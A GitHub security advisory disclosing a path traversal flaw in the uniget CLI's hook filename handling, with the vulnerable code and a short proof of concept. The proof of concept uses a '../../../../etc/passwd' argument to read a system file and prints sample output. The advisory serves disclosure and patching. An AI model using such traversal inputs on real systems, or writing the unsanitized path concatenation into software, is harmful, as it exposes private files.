GitHub Advisoryadvisory · Go
GHSA-m6jg-wr9m-cg2f uniget CLI has Path Traversal in Hook Files - Directory Escape Vulnerability
MEDIUM
Official page ↗
- Aliases
- CVE-2026-55062
- Ecosystem
- Go
- Packages
- gitlab.com/uniget-org/cli
- Severity
- Moderate
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
- Weaknesses
- CWE-22, CWE-23, CWE-36, CWE-73
- Reviewed
- 2026-08-17
Affected packages
• Go gitlab.com/uniget-org/cli: < 0.27.6 → fixed in 0.27.6
Description
Summary
Path Traversal vulnerability in hook filename handling allows attackers to access and manipulate arbitrary files outside the hooks directory via directory escape sequences like passwd.
Details
File: hooks.go `Lines 135-160`
```
hookFileName := args[0] // User input not validated
hookFile = preInstallHooksDir + "/" + hookFileName // Direct concatenation
```
Hook filenames are concatenated directly without sanitizing ../ sequences, allowing directory traversal.
PoC
Step 1: Set cat as editor
```
export EDITOR="cat"
```
Step 2: Read /etc/passwd via path traversal
```
./uniget hooks edit --type=pre-install "../../../../etc/passwd"
```
Step 3: Output shows file contents
```
root:x:0:0:root:/root:/bin/bash
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[...]
```
Related
Alias · CVE (1)
- CVE-2026-55062 uniget is a universal installer and updater for (container) tools. vulnerability